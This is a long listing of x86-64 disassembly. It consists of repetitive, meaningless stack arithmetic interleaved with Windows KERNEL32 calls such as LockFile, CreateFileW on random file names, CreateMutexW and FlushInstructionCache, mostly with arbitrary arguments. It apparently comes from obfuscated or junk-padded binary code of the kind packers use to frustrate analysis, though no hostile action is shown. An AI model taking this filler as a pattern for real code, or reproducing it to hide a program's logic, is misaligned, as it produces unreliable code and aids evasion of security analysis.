mov eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bd8]
movzx eax, byte [rax]
mov byte [rsp + 0x759], al
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c20], ax
movzx eax, word [rsp + 0x2bc0]
movzx ecx, word [rsp + 0x1bd4]
or eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov rax, qword [rsp + 0x13340]
movzx eax, byte [rax]
mov byte [rsp + 0x75a], al
mov rax, qword [rsp + 0x130b0]
mov ecx, dword [rsp + 0x8ee8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
lea rax, [rsp + 0x9a24]
mov qword [rsp + 0x13c18], rax
movzx eax, word [0x140362494]
movzx ecx, word [rsp + 0x2b98]
add eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72f]
and eax, ecx
mov rcx, qword [0x140369be0]
mov byte [rcx], al
mov rax, qword [0x140369d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e20], eax
lea rax, [rsp + 0x870c]
mov qword [rsp + 0x13c20], rax
mov rax, qword [rsp + 0x13c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0x13c28], rax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13918]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x740], al
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13578]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2be4], ax
lea rax, [rsp + 0x9c24]
mov qword [rsp + 0x13c30], rax
mov rax, qword [0x140369b90]
mov ecx, dword [rsp + 0x9bbc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bf8]
movzx eax, byte [rax]
mov byte [0x140363f1e], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x13c38], rax
mov dword [rsp + 0x20], 0x370e
mov r9d, 0x3c45
mov r8d, 0x28bb
mov edx, 0x2a4c
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a1c], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ca8], eax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x136e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bb8], ax
lea rax, [rsp + 0x746]
mov qword [rsp + 0x13c40], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x10fa
mov r8d, 0x2380
mov edx, 0xa9
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x13a98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
mov ecx, dword [0x140369b78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b54], eax
mov rax, qword [rsp + 0x13488]
mov rcx, qword [rsp + 0x133d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x77cc], eax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x13a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6218]
mov dword [rsp + 0x9cac], eax
movzx eax, word [rsp + 0x2bf8]
movzx ecx, word [rsp + 0x2bd0]
sub eax, ecx
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x12fc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
or eax, ecx
mov rcx, qword [0x140369db0]
mov byte [rcx], al
mov eax, dword [rsp + 0x7770]
mov ecx, dword [rsp + 0x9a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135f8]
mov dword [rcx], eax
lea rax, [rsp + 0x9b7c]
mov qword [rsp + 0x13c48], rax
mov rax, qword [rsp + 0x13750]
mov rcx, qword [rsp + 0x13040]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
lea rax, [rsp + 0x9c0c]
mov qword [rsp + 0x13c50], rax
mov rax, qword [rsp + 0x134d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b8]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov edx, 0x1980
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9be0], eax
movzx eax, word [0x140362468]
mov rcx, qword [rsp + 0x13a08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2668], ax
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13468]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2094], ax
movsx eax, byte [rsp + 0x754]
movsx ecx, byte [0x140363efc]
sar eax, cl
mov rcx, qword [rsp + 0x12ed0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.suu0Ln4866cBYo04
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13c58], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x7770]
mov qword [0x140369dd8], rax
mov edx, 0x4b8
mov rcx, qword [rsp + 0x13b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9934], eax
lea rdx, [rsp + 0x42c68]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9cb0], eax
mov eax, dword [rsp + 0x9ae8]
mov dword [rsp + 0x9cb4], eax
mov dword [rsp + 0x20], 0x37fe
mov r9d, 0x1d49
mov r8d, 0x2c0d
mov edx, 0xe5
mov rcx, qword [rsp + 0x13348]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a58], eax
movzx eax, byte [rsp + 0x2b0]
movzx ecx, byte [rsp + 0x708]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13a90]
mov byte [rcx], al
lea rax, [rsp + 0x1a5c]
mov qword [rsp + 0x13c60], rax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x135d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x81e0], eax
mov rax, qword [rsp + 0x13a00]
mov ecx, dword [0x140369b78]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x130a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9bc0]
mov qword [rsp + 0x13c68], rax
mov eax, dword [rsp + 0x9ab4]
mov ecx, dword [rsp + 0x56e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0x13c70], rax
movzx eax, byte [0x140363efe]
mov rcx, qword [rsp + 0x13698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363f0f], al
mov rax, qword [rsp + 0x13490]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13908]
mov rcx, qword [rsp + 0x132a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137a8]
mov eax, dword [rax]
mov dword [rsp + 0x9cb8], eax
mov rax, qword [rsp + 0x137a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133e0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ac8]
mov qword [rsp + 0x13c78], rax
movsx eax, byte [rsp + 0x743]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x138b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2094]
or eax, ecx
mov word [rsp + 0x2c20], ax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x13c80], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525af], al
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x130a8]
mov qword [rsp + 0x13c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13c88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9a34], eax
mov rax, qword [0x140369d28]
mov ecx, dword [rsp + 0x9b70]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6588], eax
mov rax, qword [rsp + 0x133d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a5c]
shl eax, cl
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x13a10]
movzx eax, byte [rax]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13200]
mov byte [rcx], al
mov dword [rsp + 0x4b6d0], 0x11c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x44d
mov r9d, 0x39a0
mov r8d, 0x40856511
mov edx, 1
mov rcx, qword [rsp + 0x136b8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x12ee8]
mov eax, dword [rax]
mov dword [rsp + 0x9cbc], eax
mov rax, qword [rsp + 0x13238]
mov ecx, dword [rsp + 0x9c9c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [0x140362480]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x94d0], eax
mov rax, qword [rsp + 0x13c68]
mov ecx, dword [rsp + 0x9b08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x740]
and eax, ecx
mov rcx, qword [0x140369d48]
mov byte [rcx], al
mov rax, qword [0x140369b80]
movzx eax, word [rax]
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x13418]
mov rcx, qword [rsp + 0x13c50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fc4], eax
mov rax, qword [0x140369d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8860]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13088]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x72c]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x130f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov word [rsp + 0x268c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [0x140369b74]
mov qword [rsp + 0x13c90], rax
movzx eax, byte [rsp + 0x742]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74a], al
mov rax, qword [rsp + 0x13978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5330], eax
mov eax, dword [0x140369d38]
mov dword [0x140369de0], eax
lea rax, [rsp + 0x59fc]
mov qword [rsp + 0x13c98], rax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b10]
shl eax, cl
mov dword [rsp + 0x9a64], eax
mov eax, dword [rsp + 0x9b20]
mov dword [rsp + 0x9cc0], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x135c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13610]
mov word [rcx], ax
mov rax, qword [rsp + 0x13980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x225]
sar eax, cl
mov rcx, qword [rsp + 0x134d0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13ca0], rax
mov eax, dword [0x14036244c]
mov dword [rsp + 0x9cc4], eax
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [rsp + 0x9688]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x134f0]
mov dword [rcx], eax
lea rax, [rsp + 0x58d4]
mov qword [rsp + 0x13ca8], rax
mov rax, qword [rsp + 0x13768]
mov rcx, qword [rsp + 0x131f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369ca0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x678]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x13888]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1eb0], ax
movsx eax, word [rsp + 0x1938]
mov rcx, qword [rsp + 0x134b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x13bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x731], al
lea rax, [rsp + 0x8ee8]
mov qword [rsp + 0x13cb0], rax
mov rax, qword [0x140369cf0]
mov ecx, dword [rsp + 0x8f50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c38], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
movzx eax, word [rsp + 0x2c1c]
mov word [rsp + 0x2c3c], ax
movzx eax, byte [rsp + 0x73f]
movzx ecx, byte [0x1403525af]
add eax, ecx
mov byte [rsp + 0x10e], al
mov eax, dword [rsp + 0x9a34]
mov dword [0x140369de4], eax
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c5c]
mov qword [rsp + 0x13cb8], rax
mov rax, qword [0x140369d20]
mov rcx, qword [rsp + 0x13c50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c10]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x752]
mov rcx, qword [rsp + 0x13120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x260c], ax
mov rax, qword [rsp + 0x13690]
mov ecx, dword [rsp + 0x8ca0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
lea rax, [rsp + 0x9c8c]
mov qword [rsp + 0x13cc0], rax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13b48]
mov qword [rsp + 0x13cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13cc8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5810]
movzx ecx, al
mov eax, dword [rsp + 0x9b24]
sar eax, cl
mov rcx, qword [0x140369d18]
mov dword [rcx], eax
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0x13cd0], rax
movsx eax, word [rsp + 0x268c]
movsx ecx, word [rsp + 0x2bc8]
or eax, ecx
mov word [rsp + 0x2c20], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movsx eax, byte [rsp + 0x759]
movsx ecx, byte [rsp + 0x72c]
and eax, ecx
mov rcx, qword [rsp + 0x13a58]
mov byte [rcx], al
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x13cd8], rax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13668]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
mov eax, dword [rsp + 0x709c]
mov dword [rsp + 0x9cc8], eax
mov rax, qword [rsp + 0x13ba0]
mov rcx, qword [rsp + 0x132a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13cd0]
mov dword [rcx], eax
mov rax, qword [0x140369d58]
movzx eax, word [rax]
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0x13bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1403525b6], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
mov rax, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x130a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e2c], eax
mov rax, qword [0x140369dc8]
mov ecx, dword [rsp + 0x9aa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9990], eax
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x13ce0], rax
mov eax, dword [0x140369bc4]
mov ecx, dword [rsp + 0x9ac4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
lea rax, [rsp + 0x13b]
mov qword [rsp + 0x13ce8], rax
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov rcx, qword [rsp + 0x13c80]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13cf0], rax
mov rax, qword [rsp + 0x132b8]
mov ecx, dword [0x140362470]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x131a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x13cf8], rax
movsx eax, word [rsp + 0x2c04]
mov rcx, qword [rsp + 0x12fa8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14036247c], ax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [0x140369bf0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x751], al
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x13d00], rax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b8]
xor eax, ecx
mov rcx, qword [rsp + 0x12f70]
mov byte [rcx], al
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [0x140369de4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x138f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130b0]
mov ecx, dword [rsp + 0x9a34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x67d8], eax
mov rax, qword [rsp + 0x13018]
mov rcx, qword [rsp + 0x13660]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b38]
mov eax, dword [rax]
mov dword [rsp + 0x9ccc], eax
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x636c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13030]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x735]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
lea rax, [rsp + 0x2324]
mov qword [0x140369de8], rax
mov rax, qword [rsp + 0x12d28]
mov ecx, dword [rsp + 0x9a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8cb0], eax
mov eax, dword [0x140369d50]
mov ecx, dword [rsp + 0x94d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [rsp + 0x9cd0], eax
mov rax, qword [rsp + 0x13b90]
mov rcx, qword [rsp + 0x13928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
mov byte [rsp + 0x75b], al
mov rax, qword [rsp + 0x138e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov rcx, qword [rsp + 0x12e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rdx, [rsp + 0x42d10]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af8], eax
mov rcx, qword [rsp + 0x135f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9cd4], eax
movsx eax, byte [rsp + 0x731]
movsx ecx, byte [rsp + 0x73e]
add eax, ecx
mov byte [rsp + 0x2d1], al
mov eax, dword [rsp + 0x91dc]
mov rcx, qword [rsp + 0x13778]
mov qword [rsp + 0x13d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13d08]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140362460], eax
mov eax, dword [rsp + 0x9b2c]
mov ecx, dword [rsp + 0x526c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5784], eax
mov edx, 0x2219
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9c14], eax
lea rax, [rsp + 0x73d]
mov qword [rsp + 0x13d10], rax
movzx eax, word [rsp + 0x280c]
movzx ecx, word [rsp + 0x1384]
sar eax, cl
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x94d0], eax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov dword [rsp + 0x9cd8], eax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x13c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13880]
mov dword [rcx], eax
lea rax, [rsp + 0x9c5c]
mov qword [rsp + 0x13d18], rax
movzx eax, byte [rsp + 0x337]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13340]
mov byte [rcx], al
lea rax, [rsp + 0x1f18]
mov qword [0x140369df0], rax
mov rax, qword [rsp + 0x13080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5414], eax
mov eax, dword [rsp + 0x9cd0]
mov ecx, dword [rsp + 0x9c38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fd8], eax
mov rax, qword [rsp + 0x13860]
mov ecx, dword [rsp + 0x62f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13908]
mov dword [rcx], eax
lea rax, [rsp + 0x9c94]
mov qword [rsp + 0x13d20], rax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6fc]
mov byte [rsp + 0x75c], al
mov rax, qword [rsp + 0x13740]
movsx eax, word [rax]
mov rcx, qword [0x140369cf8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ed0], ax
movzx eax, byte [rsp + 0x741]
movzx ecx, byte [rsp + 0x2b0]
imul eax, ecx
mov byte [rsp + 0x72f], al
movzx eax, word [rsp + 0x2ba4]
mov word [0x140369df8], ax
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9af0], eax
lea rax, [rsp + 0x6588]
mov qword [rsp + 0x13d28], rax
mov rax, qword [0x140369c30]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e2c], eax
movzx eax, byte [rsp + 0x744]
mov byte [rsp + 0x75d], al
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13610]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.NshQqXk3BxGjbexlm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13d30], rax
mov rax, qword [rsp + 0x13cb8]
mov eax, dword [rax]
mov ecx, dword [0x140369c28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b00]
mov dword [rcx], eax
mov edx, 0x58
mov rcx, qword [rsp + 0x13cf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x99d8]
mov qword [rsp + 0x13d38], rax
mov rax, qword [rsp + 0x13ce0]
mov ecx, dword [0x140362464]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9c20], eax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x13d40], rax
mov rax, qword [rsp + 0x13218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140363ede], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2978]
sar eax, cl
mov rcx, qword [rsp + 0x130a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ef4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x9a10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7e50], eax
movsx eax, word [0x14036247c]
movsx ecx, word [rsp + 0x2bdc]
and eax, ecx
mov rcx, qword [rsp + 0x13310]
mov word [rcx], ax
lea rax, [rsp + 0x754]
mov qword [rsp + 0x13d48], rax
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13420]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x585]
sub eax, ecx
mov byte [rsp + 0x74d], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0x9cdc], eax
mov rax, qword [rsp + 0x13890]
mov ecx, dword [0x140369b9c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036249c], eax
mov eax, dword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x9c7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
mov rax, qword [rsp + 0x13490]
mov rcx, qword [rsp + 0x12de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x747c], eax
